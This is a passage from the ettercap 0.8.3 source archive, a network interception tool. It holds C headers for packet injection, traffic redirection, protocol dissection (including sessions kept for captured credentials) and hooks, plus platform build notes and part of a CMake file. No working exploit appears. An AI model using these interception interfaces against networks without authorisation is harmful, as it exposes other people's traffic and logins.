## __VA_ARGS__ ) #define INSTANT_USER_MSG(x, ...) do { ui_msg(x, ## __VA_ARGS__ ); ui_msg_flush(MSG_ALL); } while(0) #define FATAL_MSG(x, ...) do { ui_error(x, ## __VA_ARGS__ ); return (-E_FATAL); } while(0) /* * if we are using the text interface, exit with a fatal error, * else display a message and continue with the current GUI (curses or gtk) */ #define SEMIFATAL_ERROR(x, ...) do { \ if (!EC_GBL_UI->initialized || EC_GBL_UI->type == UI_TEXT || EC_GBL_UI->type == UI_DAEMONIZE) \ FATAL_ERROR(x, ## __VA_ARGS__); \ else \ FATAL_MSG(x, ## __VA_ARGS__); \ } while(0) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_redirect.h0000644000175000017500000000203013505247364017233 0ustar koeppeakoeppea#ifndef ETTERCAP_REDIRECT_H #define ETTERCAP_REDIRECT_H typedef enum { EC_REDIR_ACTION_INSERT, EC_REDIR_ACTION_REMOVE } ec_redir_act_t; typedef enum { EC_REDIR_PROTO_IPV4, EC_REDIR_PROTO_IPV6 } ec_redir_proto_t; struct redir_entry { char *name; ec_redir_proto_t proto; char *source; char *destination; u_int16 from_port; u_int16 to_port; LIST_ENTRY(redir_entry) next; }; struct serv_entry { char *name; u_int16 from_port; u_int16 to_port; SLIST_ENTRY(serv_entry) next; }; /* proto */ EC_API_EXTERN int ec_redirect(ec_redir_act_t action, char *name, ec_redir_proto_t proto, const char *source, const char *destination, u_int16 sport, u_int16 dport); EC_API_EXTERN int ec_walk_redirects(void (*func)(struct redir_entry*)); EC_API_EXTERN int ec_walk_redirect_services(void (*func)(struct serv_entry*)); EC_API_EXTERN void ec_redirect_cleanup(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_session.h0000644000175000017500000000136213505247364017124 0ustar koeppeakoeppea#ifndef ETTERCAP_SESSION_H #define ETTERCAP_SESSION_H struct ec_session { void *ident; size_t ident_len; void *data; size_t data_len; int flag; /* misc. boolean flag */ /* Used to trace headers for injection */ struct ec_session *prev_session; int (*match)(void *id_sess, void *id); void (*free)(void *data, size_t data_len); }; EC_API_EXTERN void session_put(struct ec_session *s); EC_API_EXTERN int session_get(struct ec_session **s, void *ident, size_t ident_len); EC_API_EXTERN int session_del(void *ident, size_t ident_len); EC_API_EXTERN int session_get_and_del(struct ec_session **s, void *ident, size_t ident_len); EC_API_EXTERN void session_free(struct ec_session *s); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_inject.h0000644000175000017500000000267713505247364016727 0ustar koeppeakoeppea#ifndef ETTERCAP_INJECT_H #define ETTERCAP_INJECT_H #include #include #define FUNC_INJECTOR_PTR(func) int (*func)(struct packet_object *, size_t *) #define FUNC_INJECTOR(func) int func(struct packet_object *po, size_t *len) #define LENGTH *len #define LENGTH_PTR len #define SESSION_PASSTHRU(x,y) do{ \ x->prev_session = y->session; \ y->session = x; \ } while(0) #define SESSION_CLEAR(x) (x->session=NULL) #define EXECUTE_INJECTOR(x,y) do{ \ FUNC_INJECTOR_PTR(prev_injector); \ prev_injector = get_injector(x, y); \ if (prev_injector == NULL) \ return -E_NOTFOUND; \ if (prev_injector(PACKET, LENGTH_PTR) != E_SUCCESS) \ return -E_NOTHANDLED; \ } while(0) EC_API_EXTERN int inject_buffer(struct packet_object *po); EC_API_EXTERN void add_injector(u_int8 level, u_int32 type, FUNC_INJECTOR_PTR(injector)); EC_API_EXTERN void * get_injector(u_int8 level, u_int32 type); EC_API_EXTERN void inject_split_data(struct packet_object *po); EC_API_EXTERN int user_kill(struct conn_object *co); EC_API_EXTERN int user_inject(u_char *buf, size_t size, struct conn_object *co, int which); #define CHAIN_ENTRY 1 #define CHAIN_LINKED 2 /* Used to trace inject from udp to ip */ #define STATELESS_IP_MAGIC 0x0304e77e #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/config.h.cmake0000644000175000017500000000364013505247364017317 0ustar koeppeakoeppea#ifndef CONFIG_H #cmakedefine OS_LINUX #cmakedefine OS_BSD #cmakedefine OS_BSD_FREE #cmakedefine OS_BSD_NET #cmakedefine OS_BSD_OPEN #cmakedefine OS_DARWIN #cmakedefine OS_GNU #cmakedefine WORDS_BIGENDIAN #cmakedefine OS_SIZEOF_P @OS_SIZEOF_P@ #cmakedefine CC_VERSION "@CC_VERSION@" #cmakedefine HAVE_SYS_SELECT_H #cmakedefine HAVE_SYS_POLL_H #cmakedefine HAVE_UTSNAME_H #cmakedefine HAVE_STDINT_H #cmakedefine HAVE_GETOPT_H #cmakedefine HAVE_ARPA_NAMESER_H #cmakedefine HAVE_LTDL_H #cmakedefine HAVE_DLFCN_H #cmakedefine HAVE_CTYPE_H #cmakedefine HAVE_INTTYPES_H #cmakedefine HAVE_MUTEX_RECURSIVE_NP #cmakedefine HAVE_IP6T_SO_ORIGINAL_DST #cmakedefine HAVE_LIBGEN_H #cmakedefine HAVE_PCRE #cmakedefine HAVE_POLL #cmakedefine HAVE_STRTOK_R #cmakedefine HAVE_STRNDUP #cmakedefine HAVE_SELECT #cmakedefine HAVE_SCANDIR #cmakedefine HAVE_STRLCAT #cmakedefine HAVE_STRLCAT_FUNCTION #cmakedefine HAVE_STRLCPY #cmakedefine HAVE_STRLCPY_FUNCTION #cmakedefine HAVE_STRSEP #cmakedefine HAVE_STRCASESTR #cmakedefine HAVE_MEMMEM #cmakedefine HAVE_MEMRCHR #cmakedefine HAVE_BASENAME #cmakedefine HAVE_NCURSES #cmakedefine HAVE_GTK #cmakedefine HAVE_GTK3 #cmakedefine HAVE_GTK3COMPAT #cmakedefine HAVE_UTF8 #cmakedefine HAVE_PLUGINS #cmakedefine WITH_IPV6 #cmakedefine HAVE_GEOIP #cmakedefine HAVE_EC_LUA #cmakedefine INSTALL_PREFIX "@INSTALL_PREFIX@" #cmakedefine INSTALL_SYSCONFDIR "@INSTALL_SYSCONFDIR@" #cmakedefine INSTALL_LIBDIR "@INSTALL_LIBDIR@" #cmakedefine INSTALL_DATADIR "@INSTALL_DATADIR@" #cmakedefine INSTALL_EXECPREFIX "@INSTALL_EXECPREFIX@" #cmakedefine INSTALL_BINDIR "@INSTALL_BINDIR@" #cmakedefine ICON_DIR "@ICON_DIR@" #cmakedefine MAN_INSTALLDIR "@MAN_INSTALLDIR@" #cmakedefine JUST_LIBRARY #cmakedefine LIBNET_VERSION "@LIBNET_VERSION@" #cmakedefine LIBNET_VERSION_MAJOR @LIBNET_VERSION_MAJOR@ #cmakedefine LIBNET_VERSION_MINOR @LIBNET_VERSION_MINOR@ #endif ettercap-0.8.3/include/ec_poll.h0000644000175000017500000000035613505247364016411 0ustar koeppeakoeppea#ifndef ETTERCAP_POLL_H #define ETTERCAP_POLL_H EC_API_EXTERN int ec_poll_in(int fd, u_int msec); EC_API_EXTERN int ec_poll_out(int fd, u_int msec); EC_API_EXTERN int ec_poll_buffer(char *buf); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_scan.h0000644000175000017500000000056013505247364016364 0ustar koeppeakoeppea#ifndef ETTERCAP_SCAN_H #define ETTERCAP_SCAN_H EC_API_EXTERN void build_hosts_list(void); EC_API_EXTERN void del_hosts_list(void); EC_API_EXTERN void add_host(struct ip_addr *ip, u_int8 mac[MEDIA_ADDR_LEN], char *name); EC_API_EXTERN int scan_load_hosts(char *filename); EC_API_EXTERN int scan_save_hosts(char *filename); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_interfaces.h0000644000175000017500000000176713505247364017575 0ustar koeppeakoeppea#ifndef ETTERCAP_INTERFACES_H #define ETTERCAP_INTERFACES_H /* colors for curses interface */ struct curses_color { int bg; int fg; int join1; int join2; int border; int title; int focus; int menu_bg; int menu_fg; int window_bg; int window_fg; int selection_bg; int selection_fg; int error_bg; int error_fg; int error_border; }; /* color pairs */ #define EC_COLOR 1 #define EC_COLOR_BORDER 2 #define EC_COLOR_TITLE 3 #define EC_COLOR_FOCUS 4 #define EC_COLOR_MENU 5 #define EC_COLOR_WINDOW 6 #define EC_COLOR_SELECTION 7 #define EC_COLOR_ERROR 8 #define EC_COLOR_ERROR_BORDER 9 #define EC_COLOR_JOIN1 10 #define EC_COLOR_JOIN2 11 /* exported functions */ EC_API_EXTERN void select_daemon_interface(void); EC_API_EXTERN void select_text_interface(void); EC_API_EXTERN void select_curses_interface(void); EC_API_EXTERN void select_gtk_interface(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_format.h0000644000175000017500000000153713505247364016735 0ustar koeppeakoeppea#ifndef ETTERCAP_FORMAT_H #define ETTERCAP_FORMAT_H EC_API_EXTERN int hex_len(int len); EC_API_EXTERN int hex_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int ascii_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int text_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int ebcdic_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int html_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int bin_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int zero_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int utf8_format(const u_char *buf, size_t len, u_char *dst); EC_API_EXTERN int set_utf8_encoding(u_char *fromcode); EC_API_EXTERN int set_format(char *format); #define HEX_CHAR_PER_LINE 16 #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_dissect.h0000644000175000017500000001034213505247364017075 0ustar koeppeakoeppea#ifndef ETTERCAP_DISSECT_H #define ETTERCAP_DISSECT_H #include #include #include /* session identifier */ struct dissect_ident { union { u_int64 magic; void *fptr; }; struct ip_addr L3_src; struct ip_addr L3_dst; u_int16 L4_src; u_int16 L4_dst; u_int8 L4_proto; /* Odd byte has to be the last for correct session hash matching */ }; #define DISSECT_IDENT_LEN sizeof(struct dissect_ident) #define DISSECT_CODE(x) (void*)(x) /* exported functions */ EC_API_EXTERN void dissect_add(char *name, u_int8 level, u_int32 port, FUNC_DECODER_PTR(decoder)); EC_API_EXTERN int dissect_modify(int mode, char *name, u_int32 port); #define MODE_ADD 0 #define MODE_REP 1 EC_API_EXTERN int dissect_match(void *id_sess, void *id_curr); EC_API_EXTERN void dissect_create_session(struct ec_session **s, struct packet_object *po, void *code); EC_API_EXTERN void dissect_wipe_session(struct packet_object *po, void *code); EC_API_EXTERN size_t dissect_create_ident(void **i, struct packet_object *po, void *code); EC_API_EXTERN int dissect_on_port(char *name, u_int16 port); EC_API_EXTERN int dissect_on_port_level(char *name, u_int16 port, u_int8 level); /* return true if the packet is coming from the server */ #define FROM_SERVER(name, pack) (dissect_on_port(name, ntohs(pack->L4.src)) == E_SUCCESS) /* return true if the packet is coming from the client */ #define FROM_CLIENT(name, pack) (dissect_on_port(name, ntohs(pack->L4.dst)) == E_SUCCESS) /* * creates the session on the first packet sent from * the server (SYN+ACK) */ #define CREATE_SESSION_ON_SYN_ACK(name, session, func) do{ \ if ((PACKET->L4.flags & TH_SYN) && (PACKET->L4.flags & TH_ACK) && dissect_on_port(name, ntohs(PACKET->L4.src)) == E_SUCCESS) { \ DEBUG_MSG("%s --> create_session_on_syn_ack", name); \ /* create the session */ \ dissect_create_session(&session, PACKET, DISSECT_CODE(func)); \ session_put(session); \ return NULL; \ } \ }while(0) /* * helper macros to get the banner of a service if it is the first thing * the server send to the client. * it must be used this way: * * IF_FIRST_PACKET_FROM_SERVER(21, s, i) { * * ... do something with PACKET->DISSECTOR.banner * * } ENDIF_FIRST_PACKET_FROM_SERVER(21, s, i) * */ #define IF_FIRST_PACKET_FROM_SERVER(name, session, ident, func) \ if (FROM_SERVER(name, PACKET) && PACKET->L4.flags & TH_PSH) { \ dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ /* the session exist */ \ if (session_get(&session, ident, sizeof(struct dissect_ident)) != -E_NOTFOUND) { \ /* prevent the deletion of session created for the user and pass */ \ if (session->data == NULL) #define IF_FIRST_PACKET_FROM_SERVER_SSL(name, names, session, ident, func) \ if ((FROM_SERVER(name, PACKET) || FROM_SERVER(names, PACKET)) && PACKET->L4.flags & TH_PSH) { \ dissect_create_ident(&ident, PACKET, DISSECT_CODE(func)); \ /* the session exist */ \ if (session_get(&session, ident, sizeof(struct dissect_ident)) != -E_NOTFOUND) { \ /* prevent the deletion of session created for the user and pass */ \ if (session->data == NULL) #define ENDIF_FIRST_PACKET_FROM_SERVER(session, ident) \ if (session->data == NULL) \ session_del(ident, sizeof(struct dissect_ident)); \ } \ SAFE_FREE(ident); \ return NULL; \ } #define DISSECT_MSG(x, ...) do { \ if (!EC_GBL_OPTIONS->superquiet) \ USER_MSG(x, ## __VA_ARGS__ ); \ } while(0) #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_hook.h0000644000175000017500000000347613505247364016411 0ustar koeppeakoeppea#ifndef ETTERCAP_HOOK_H #define ETTERCAP_HOOK_H #include EC_API_EXTERN void hook_point(int point, struct packet_object *po); enum { HOOK_RECEIVED = 0, /* raw packet, the L* structures are not filled */ HOOK_DECODED = 1, /* all the packet after the protocol stack parsing */ HOOK_PRE_FORWARD = 2, /* right before the forward (if it has to be forwarded) */ HOOK_HANDLED = 3, /* top of the stack but before the decision of PO_INGORE */ HOOK_FILTER = 4, /* the content filtering point */ HOOK_DISPATCHER = 5, /* in the TOP HALF (the packet is a copy) */ }; /* these are used the hook received packets */ enum { HOOK_PACKET_BASE = 50, HOOK_PACKET_ETH, HOOK_PACKET_FDDI, HOOK_PACKET_TR, HOOK_PACKET_WIFI, HOOK_PACKET_ARP, HOOK_PACKET_ARP_RQ, HOOK_PACKET_ARP_RP, HOOK_PACKET_IP, HOOK_PACKET_IP6, HOOK_PACKET_UDP, HOOK_PACKET_TCP, HOOK_PACKET_ICMP, HOOK_PACKET_LCP, HOOK_PACKET_ECP, HOOK_PACKET_IPCP, HOOK_PACKET_PPP, HOOK_PACKET_GRE, HOOK_PACKET_VLAN, HOOK_PACKET_ICMP6, HOOK_PACKET_ICMP6_NSOL, HOOK_PACKET_ICMP6_NADV, HOOK_PACKET_ICMP6_RPLY, HOOK_PACKET_ICMP6_PARM, HOOK_PACKET_PPPOE, HOOK_PACKET_PPP_PAP, HOOK_PACKET_MPLS, HOOK_PACKET_ERF, HOOK_PACKET_ESP, /* high level protocol hooks */ HOOK_PROTO_BASE = 100, HOOK_PROTO_SMB, HOOK_PROTO_SMB_CHL, HOOK_PROTO_SMB_CMPLT, HOOK_PROTO_DHCP_REQUEST, HOOK_PROTO_DHCP_DISCOVER, HOOK_PROTO_DHCP_PROFILE, HOOK_PROTO_DNS, HOOK_PROTO_MDNS, HOOK_PROTO_NBNS, HOOK_PROTO_HTTP, HOOK_PROTO_KRB5 }; EC_API_EXTERN void hook_add(int point, void (*func)(struct packet_object *po) ); EC_API_EXTERN int hook_del(int point, void (*func)(struct packet_object *po) ); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_signals.h0000644000175000017500000000021113505247364017071 0ustar koeppeakoeppea#ifndef ETTERCAP_SIGNAL_H #define ETTERCAP_SIGNAL_H EC_API_EXTERN void signal_handler(void); #endif /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/include/ec_lua.h0000644000175000017500000000122113505247364016214 0ustar koeppeakoeppea#ifndef ETTERCAP_LUA_H #define ETTERCAP_LUA_H #include #define ETTERCAP_LUA_MODULE "ettercap" #define ETTERCAP_C_API_LUA_MODULE "ettercap_c" EC_API_EXTERN int ec_lua_init(); EC_API_EXTERN int ec_lua_fini(); EC_API_EXTERN int ec_lua_cli_add_script(char * script); EC_API_EXTERN int ec_lua_cli_add_args(char * args); EC_API_EXTERN void ec_lua_print_info(FILE* debug_file); EC_API_EXTERN void ec_lua_print_version(FILE* debug_file); int ec_lua_dispatch_hooked_packet(int point, struct packet_object * po); void ec_lua_print_stack(FILE * io); #define LUA_FATAL_ERROR(x, ...) do { fprintf(stderr, x, ## __VA_ARGS__ ); exit(-1);} while(0) #endif ettercap-0.8.3/README.PLATFORMS0000644000175000017500000002111513505247364015422 0ustar koeppeakoeppea============================================================================== ============================================================================== @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@ @@@@@@ @@@ @@@ @@@@@@ @@@@@@ @@ @@@@@@@ @@@@@@ @@ @@@ @@@ @@ @@ @@ @@ @@ @@ @@ @@@@@@@ @@@ @@@ @@@@@@@ @@ @@@ @@@@@@@ @@ @@ @@ NG Copyright 2001-2015 The Ettercap Dev Team ============================================================================== P O R T I N G S T A T U S ============================================================================== SYSTEM STATUS NOTES ============================================================================== LINUX ------------------------------------------------------------------------------ Linux 3.x FULL (primary development platform) Linux 2.6.x FULL Linux 2.4.x FULL Linux 2.2.x FULL SOLARIS ------------------------------------------------------------------------------ SunOS 5.8 (sparc) FULL tested on a SunFire V100 sparc64 Solaris 8 (intel) FULL tested on SunOS solaris 5.8 (i386) *BSD ------------------------------------------------------------------------------ FreeBSD 8.x FULL tested on FreeBSD 8.3-RELEASE (amd64) FreeBSD 5.x FULL tested on FreeBSD 5.1-RELEASE (i386) FreeBSD 4.x untested OpenBSD 3.x FULL tested on OpenBSD 3.4 GENERIC#18 i386 OpenBSD 2.x untested NetBSD 1.5.x untested MAC OS X (Darwin) ------------------------------------------------------------------------------ Mac OS X FULL tested on OS X Lion and Snow Leopard (64-bit) Darwin 7.x FULL tested on darwin 7.0.0 (powerpc) Darwin 6.x untested WINDOWS (native/mingw) thanks to G. Vanem ------------------------------------------------------------------------------ Windows 2000 untested Windows XP untested Windows 2003 untested WINDOWS (cygwin) ------------------------------------------------------------------------------ Windows 2000 untested Windows XP untested ============================================================================== P L A T F O R M S P E C I F I C I S S U E ============================================================================== ------------------------------------------------------------------------------ L I N U X ------------------------------------------------------------------------------ No known issue, just be sure to have all the required components. (see README) ------------------------------------------------------------------------------ S O L A R I S ------------------------------------------------------------------------------ After installing the following packages from http://www.sunfreeware.com - libtool 1.5 (needed for libltdl) - libpcap 0.8.1 - gcc 3.3.1 - binutils 2.11.2 - make 3.80 ettercap should configure and compile without any issue. libnet 1.1.2.1 should be downloaded from http://www.packetfactory.net and compiled by your own. ------------------------------------------------------------------------------ M A C O S X ------------------------------------------------------------------------------ thanks to 'rgovostes' for this instructions. Launch FinkCommander and search for the following software. Select the appropriate files and press command-shift-i to begin installing them - it'll take a long time, don't let your machine fall asleep. There may be additional packages which you should install, such as ones with -dev or -shlibs extensions. There may be multiple versions of the software available - if in doubt, go with the latest copy. bison >= 1.875-1 dlcompat >= 20030629-15 libnet >= 1.1.2.1-1 libpcap >= 0.8.1-1 libpoll >= 1.4-11 libtool >= 1.5-1 ncurses >= 5.3-20031018-2 openssl >= 0.9.7c-3 pcre >= 4.3-1 pkgconfig >= 0.15.0-2 ------------------------------------------------------------------------------ B S D ------------------------------------------------------------------------------ + FREEBSD In order to have plugins support you have to install the following package: - libltdl (part of libtool 1.5) all the other libs can be installed from ports (except for libnet 1.1.2.1, at the moment) if you encounter some linking problem compiling the tarball, it is due to the libtool version provided within our tarball. to solve the problem re-libtoolize the package and recompile it or download the cvs version and run the autogen.sh script. on some BSD configurations, even after installing the libtool and libltdl ports, lt_dlopen might not be found by the configure script. To solve this, install the libpcap port from /usr/ports/net and run configure this way: CFLAGS="-I /usr/local/include" LDFLAGS="-L /usr/local/lib" ./configure .... + OPENBSD Same recommendations as for FreeBSD, but you have to find a way to install libltdl since it seems that newer version of libtool aren't in the ports collection. Furthermode OpenBSD requires libpcap 0.8.3 since it fixed a segfault in pcap_findalldevs(); probably you will have to append the --with-iconv=/usr/local to the configure command line. ------------------------------------------------------------------------------ W I N D O W S ------------------------------------------------------------------------------ + MINGW / MSYS (suggested) 1) download the wpdpack from the winpcap website - install the drivers (version >= 3.1 beta) 2) download the libnet tarball from packetfactory.net apply this patch: http://ettercap.sf.net/devel/libnet-1.1.2.1-mingw.tar.gz 3) download pthreads from: ftp://sources.redhat.com/pub/pthreads-win32 4) download all the other required library from: http://gnuwin32.sourceforge.net/packages.html - openssl - libgw32c - libz - libregex - libiconv 5) download the gtk development and runtime packages from: http://www.gimp.org/~tml/gimp/win32/downloads.html 4) unpak all the packages as shown in the following tree: . |-> ettercap |-> gtk |-> gw32c |-> libiconv |-> libnet |-> openssl |-> pthreads |-> regex |-> winpcap |-> zlib make sure each directory contains an 'include' dir with the .h files and a 'lib' directory with the .a/.dll files. 5) enter the ettercap directory and execute the configure script 6) issue the 'make' command and have fun :) 7) ettercap/include/ec_os_mingw.h might need to be modified to not declare struct timezone as it is already defined in sys/time.h on latest MinGW version. *) probably you'll have some difficulties compiling it. you have to modify the makefile a bit to suite your environment. don't forget to install all the required .dll since the .dll.a are only wrapper to the real .dll file. *) if make fails because of a /man/man5 or /man/man8 directory does not exist, keep running make until compilation is done *) after everything is done type: a) cd .. b) /usr/bin/find . -name \*.dll -exec cp {} ettercap/lib \; c) cd ettercap d) cp ettercap.exe lib e) run ettercap from lib if you want precompiled packages: http://sourceforge.net/project/showfiles.php?group_id=17435 + CYGWIN (deprecated) 1) download the wpdpack from the winpcap website - install the drivers (version >= 3.1 beta) 2) download the libnet tarball from packetfactory.net 3) copy the libs in Wpdpack/lib into /usr/lib copy the includes in Wpdpack/include into /usr/include/pcap rename the /usr/include/pcap/pthread.h to /usr/include/pcap/_pthread.h 4) compile the libnet source... you have to search in the mailing list for the patch for cygwin. this is the hardest part... since libnet porting to cygwin is not fully working... my bad :( 5) run the ettercap cmake 6) issue the 'make' command and have fun ============================================================================== vim:ts=3:expandtab ettercap-0.8.3/CMakeLists.txt0000644000175000017500000002037013505247364015736 0ustar koeppeakoeppeacmake_minimum_required(VERSION 2.8) project(ettercap C) set(VERSION "0.8.2") set(CMAKE_MODULE_PATH "${CMAKE_SOURCE_DIR}/cmake/Modules") set(CMAKE_SCRIPT_PATH "${CMAKE_SOURCE_DIR}/cmake/Scripts") include(MacroEnsureOutOfSourceBuild) macro_ensure_out_of_source_build("${PROJECT_NAME} requires an out of source build. Please create a separate build directory and run 'cmake /path/to/${PROJECT_NAME} [options]' there.") option(ENABLE_CURSES "Enable curses interface" ON) option(ENABLE_GTK "Enable GTK interface" ON) option(ENABLE_PLUGINS "Enable plugins support" ON) option(ENABLE_IPV6 "Enable IPv6 support" OFF) option(ENABLE_LUA "Enable LUA support (EXPERIMENTAL)" OFF) option(ENABLE_PDF_DOCS "Enable PDF document generation" OFF) option(ENABLE_TESTS "Enable Unit Tests" OFF) option(ENABLE_GEOIP "Build with GeoIP support" ON) option(LIBRARY_BUILD "Build for libettercap only" OFF) option(INSTALL_DESKTOP "Install ettercap desktop files" ON) set(VALID_BUILD_TYPES Debug Release RelWithDebInfo) if(NOT CMAKE_BUILD_TYPE) # Default to using "Release" as our build type. set(CMAKE_BUILD_TYPE "Release" CACHE STRING "Choose the type of build, options are: ${VALID_BUILD_TYPES}." FORCE) endif() list(FIND VALID_BUILD_TYPES ${CMAKE_BUILD_TYPE} contains_valid) if(contains_valid EQUAL -1) message(FATAL_ERROR "Unknown CMAKE_BUILD_TYPE: '${CMAKE_BUILD_TYPE}'. Valid options are: ${VALID_BUILD_TYPES}") endif() unset(contains_valid) include(CMakeDependentOption) # If SYSTEM_LIBS is set to off, then all SYSTEM_* options will be # set to off. option(SYSTEM_LIBS "Search for system-provided libraries. This is only used for libraries that we happen to also bundle. Disabling this implies that we would only use bundled libraries." ON) # If BUNDLED_LIBS is set to off, then all BUNDLED_* options will be # set to off. option(BUNDLED_LIBS "Use bundled libraries if system provided versions are not found (or disabled)" ON) cmake_dependent_option(SYSTEM_CURL "Search for a system-provided version of Curl" ON SYSTEM_LIBS OFF) cmake_dependent_option(BUNDLED_CURL "Use bundled version of Curl if system-provided version is not found (or disabled)" ON BUNDLED_LIBS OFF) cmake_dependent_option(SYSTEM_LIBNET "Search for a system-provided version of LIBNET" ON SYSTEM_LIBS OFF) cmake_dependent_option(BUNDLED_LIBNET "Use bundled version of LIBNET if system-provided version is not found (or disabled)" ON BUNDLED_LIBS OFF) cmake_dependent_option(SYSTEM_LUAJIT "Search for a system-provided version of LUAJIT" ON "SYSTEM_LIBS;ENABLE_LUA" OFF) cmake_dependent_option(BUNDLED_LUAJIT "Use bundled version of LUAJIT if system-provided version is not found (or disabled)" ON "BUNDLED_LIBS;ENABLE_LUA" OFF) if(ENABLE_TESTS) cmake_dependent_option(SYSTEM_LIBCHECK "Search for a system-provided version of LIBCHECK" ON SYSTEM_LIBS OFF) cmake_dependent_option(BUNDLED_LIBCHECK "Use bundled version of LIBCHECK if system-provided version is not found (or disabled)" ON BUNDLED_LIBS OFF) endif() set(SPECIAL_LIB_DIR "" CACHE PATH "Special (non-traditional) root directory where headers/libraries are installed") include(CheckVariableInHeaders) include(EttercapOSTest) #Check and see if we're running Darwin, specify the CMAKE_LIBARY_PATH to do so if(OS_DARWIN) set(CMAKE_SYSTEM_NAME Darwin) set(CMAKE_LIBRARY_PATH ${SPECIAL_LIB_DIR}/lib ${CMAKE_LIBRARY_PATH}) set(CMAKE_INCLUDE_PATH ${SPECIAL_LIB_DIR}/include ${CMAKE_INCLUDE_PATH}) else() set(CMAKE_LIBRARY_PATH ${CMAKE_LIBRARY_PATH} /usr/lib64 /usr/lib32) endif() if(LIBRARY_BUILD) set(ENABLE_GTK OFF) set(ENABLE_CURSES OFF) set(JUST_LIBRARY 1) endif() include(EttercapHeadersCheck) include(EttercapLibCheck) include(EttercapVariableCheck) set(INSTALL_PREFIX ${CMAKE_INSTALL_PREFIX} CACHE PATH "Installation prefix") set(INSTALL_SYSCONFDIR /etc CACHE PATH "System configuration directory") set(INSTALL_LIBDIR ${INSTALL_PREFIX}/lib${LIB_SUFFIX} CACHE PATH "Library installation directory") set(INSTALL_DATADIR ${INSTALL_PREFIX}/share CACHE PATH "Data installation directory") set(INSTALL_EXECPREFIX ${INSTALL_PREFIX} CACHE PATH "") set(INSTALL_BINDIR ${INSTALL_PREFIX}/bin CACHE PATH "Binary files installation directory") if(OS_DARWIN OR OS_WINDOWS) set(POLKIT_DIR ${INSTALL_PREFIX}/share/polkit-1/actions/ CACHE PATH "Polkit installation directory") else() #at least on ubuntu, polkit dir couldn't be /usr/local/share, but should be /usr/share set(POLKIT_DIR /usr/share/polkit-1/actions/ CACHE PATH "Polkit installation directory") endif() set(PKEXEC_INSTALL_WRAPPER org.pkexec.ettercap CACHE PATH "Name of the pkexec action file") set(DESKTOP_DIR ${INSTALL_PREFIX}/share/applications/ CACHE PATH "Desktop file installation directory") set(APPDATA_DIR ${INSTALL_PREFIX}/share/appdata/ CACHE PATH "Appdata file installation directory") set(ICON_DIR ${INSTALL_PREFIX}/share/pixmaps CACHE PATH "Icon file installation directory") set(MAN_INSTALLDIR ${INSTALL_PREFIX}/share/man CACHE PATH "Path for manual pages") if(NOT DISABLE_RPATH) # Ensure that, when we link to stuff outside of our build path, we include the # library dir path in our RPATH. set(CMAKE_INSTALL_RPATH_USE_LINK_PATH TRUE) set(CMAKE_MACOSX_RPATH 1) endif() # set general build flags for debug build-type set(CMAKE_C_FLAGS_DEBUG "-O0 -ggdb3 -DDEBUG -Wall -Wno-pointer-sign -D_FORTIFY_SOURCE=2 -Wformat -Wformat-security -Werror=format-security -Wextra -Wredundant-decls" CACHE STRING "" FORCE) ## append ASAN build flags if compiler version has support #if("${CMAKE_C_COMPILER_ID}" STREQUAL "GNU") # if(CMAKE_C_COMPILER_VERSION VERSION_GREATER 4.8) # set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -fsanitize=address # -fno-omit-frame-pointer" CACHE STRING "" FORCE) # message("Building with ASAN support (GNU compiler)") # else() # message("Building without ASAN support (GNU compiler)") # endif() #elseif("${CMAKE_C_COMPILER_ID}" STREQUAL "Clang") # if(CMAKE_C_COMPILER_VERSION VERSION_GREATER 3.1) # set(CMAKE_C_FLAGS_DEBUG "${CMAKE_C_FLAGS_DEBUG} -fsanitize=address # -fno-omit-frame-pointer" CACHE STRING "" FORCE) # message("Building with ASAN support (Clang compiler)") # elseif(CMAKE_C_COMPILER_VERSION VERSION_GREATER 3.1) # message("Building without ASAN support (Clang compiler)") # endif() #endif() # set build flags for release build-type set(CMAKE_C_FLAGS_RELEASE "-O2 -w -D_FORTIFY_SOURCE=2" CACHE STRING "" FORCE) if(OS_DARWIN) set(CMAKE_EXE_LINKER_FLAGS "-Wl" CACHE STRING "" FORCE) set(CMAKE_EXE_LINKER_FLAGS_DEBUG "-Wl" CACHE STRING "" FORCE) set(CMAKE_MODULE_LINKER_FLAGS "-Wl" CACHE STRING "" FORCE) set(CMAKE_SHARED_LINKER_FLAGS "-undefined dynamic_lookup" CACHE STRING "" FORCE) endif() if(ENABLE_LUA) include(EttercapLuajit) set(HAVE_EC_LUA 1) endif() set(EC_INCLUDE_PATH ${CMAKE_CURRENT_BINARY_DIR}/include ${CMAKE_SOURCE_DIR}/include ${EC_INCLUDE}) include_directories(${EC_INCLUDE_PATH}) add_subdirectory(src) if(INSTALL_DESKTOP) add_subdirectory(desktop) endif() if(HAVE_PLUGINS) if(OS_MINGW) message("Sorry, plugins support on Windows is currently unavailable") else() add_subdirectory(plug-ins) endif() endif() add_subdirectory(utils) add_subdirectory(share) add_subdirectory(man) if(ENABLE_IPV6) set(WITH_IPV6 TRUE) endif() # This line should ALWAYS be after all options are defined configure_file(include/config.h.cmake ${CMAKE_CURRENT_BINARY_DIR}/include/config.h) if(ENABLE_TESTS) enable_testing() add_subdirectory(tests) endif() # uninstall target configure_file( 